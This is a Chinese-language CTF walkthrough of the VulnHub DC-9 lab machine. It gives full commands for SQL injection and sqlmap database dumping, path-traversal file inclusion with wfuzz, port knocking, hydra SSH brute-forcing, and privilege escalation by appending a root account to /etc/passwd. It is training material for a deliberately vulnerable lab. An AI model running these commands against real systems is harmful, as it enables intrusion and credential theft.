vulnhub靶机: DC-9

dc-9靶机下载

将靶机设置为NAT模式,本次实验使用的内网网段为192.168.198.0/24,kali的ip为192.168.198.172

信息搜集

ip主机扫描:

nmap -sP 192.168.198.0/24

 

 确定靶机ip为192.168.198.171

主机端口扫描:

nmap -T4 -A -v 192.168.198.171

开放了 http 服务和 ssh 服务,从网站入手。

sql注入

在网页Search选项中尝试手动sql注入:

' or 1=1 --+

返回了所有结果,说明存在注入点。

开发者模式打开网络确定访问文件为results.php,使用POST请求,字段为search: "value"

 

使用sqlmap查找数据库:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" --dbs

下面分别提取 Staff 和 users 数据库数据。

Staff 数据库

查看表单:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff --tables

获取StaffDetails 数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T StaffDetails --dump

发现该表信息为网站record信息,用处不大。

获取Users 数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D Staff -T Users --dump

在sqlmap提示中发现hash加密,选择使用hash爆破,如果sqlmap爆破不出来就使用开源的md5解密。

得到一个用户密码:admin:transorbital1

users 数据库

提取表单:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users --tables

找到一个表单,继续获取全部数据:

sqlmap -u "http://192.168.198.171/results.php" --data "search=a" -D users -T UserDetails --dump

得到一些用户和密码,这里先将用户信息和密码信息整理成users字典和passwd字典,后续ssh登录会用到,sqlmap会把信息保存到.csv文件中,根据提示进入保存的日志目录,写一个脚本提取列username和password,分别存在users和passwd中:

import csv
pth = 'UserDetails.csv'
with open(pth, mode='r') as f:
    a = csv.DictReader(f)
    with open('users', mode='w') as users_file, open('passwd', mode='w') as passwords_file:
        for row in a:
            users_file.write(row['username'] + '\n')
            passwords_file.write(row['password'] + '\n')

文件包含

下面尝试在网站Manage入口登录,利用Staff数据库中Users得到的账号密码登录,可以成功进入管理界面。

显示有 File does not exist 说明可能和文件包含有关,尝试用wfuzz测试文件参数,直接访问/etc/passwd,因为是登录状态,需要填上请求cookie

查看cookie

 

wfuzz -b 'PHPSESSID=kvj3gqn4qi7o9liajb68cktu6u' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.198.171/manage.php?FUZZ=../../../../../../../etc/passwd

根据结果再用 --hl 50 过滤:

 找到请求参数是file,直接访问:

成功显示出来了操作系统/etc/passwd信息,发现和数据库users中一致,说明数据库中的信息可以用来登录操作系统。

ssh 登录

利用 users 数据库得到的两个字典目录,直接尝试ssh连接会报拒绝连接:

猜测可能使用了port knocking,在网页中尝试访问 knockd.conf 端口配置文件:

根据配置结果,按照7469,8475,9842顺序敲击端口:

for x in 7469 8475 9842 22 ;do nmap -p $x 192.168.198.171 ; done

再次使用ssh连接:

hydra -L users -P passwd 192.168.198.171 ssh

找到了三个用户和密码。

对于三个用户,分别用ssh登录

ssh chandlerb@192.168.198.171
ssh joeyt@192.168.198.171
ssh janitor@192.168.198.171

分别用 ls -a 查看文件,发现janitor用户下有.secrets-for-putin文件,进入后拿到新密码:

把新的密码copy到一个新的字典passwd2中,用户名不变,用hydra再次爆破:

找到一个新用户:fredf

对每一个用户登录后,再使用 sudo -l 查看是否有高权限可执行程序,发现 fredf 用户有一个root权限执行程序。

执行文件:

根据提示可以判断出是读取和追加功能的python文件。

提权

提权思路:利用test创建一个root用户,追加到/etc/passwd中,再利用创建的用户登录实现提权。

分析/etc/passwd 的格式:

用户名:密码:uid:gid:用户描述:home路径:命令解释程序

生成用户名密码:

openssl passwd -1 -salt admin 123456

生成结果:

$1$admin$LClYcRe.ee8dQwgrFc5nz.

写入的格式:

admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash

把内容先写入tmp目录中,因为tmp目录不受用户权限限制,再利用test脚本写入/etc/passwd

 

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/new
sudo ./test /tmp/new /etc/passwd

成功写入后切换到admin用户

在root下找到flag

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-08 15:00:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-08 15:00:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-08 15:00:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-08 15:00:02       20 阅读

热门阅读

  1. Mysql服务器主从相关

    2024-04-08 15:00:02       13 阅读
  2. 嵌入式算法开发系列之归一化算法

    2024-04-08 15:00:02       15 阅读
  3. 面试前端八股文十问十答第八期

    2024-04-08 15:00:02       14 阅读
  4. mysql锁

    mysql锁

    2024-04-08 15:00:02      11 阅读
  5. docker 之 基本命令

    2024-04-08 15:00:02       13 阅读
  6. docker build 构建不出新镜像一直都是老镜像

    2024-04-08 15:00:02       13 阅读
  7. 第十四届蓝桥杯c++组B组做题笔记

    2024-04-08 15:00:02       13 阅读
  8. AJAX

    AJAX

    2024-04-08 15:00:02      17 阅读
  9. 机器学习(Machine Learning)知识点

    2024-04-08 15:00:02       15 阅读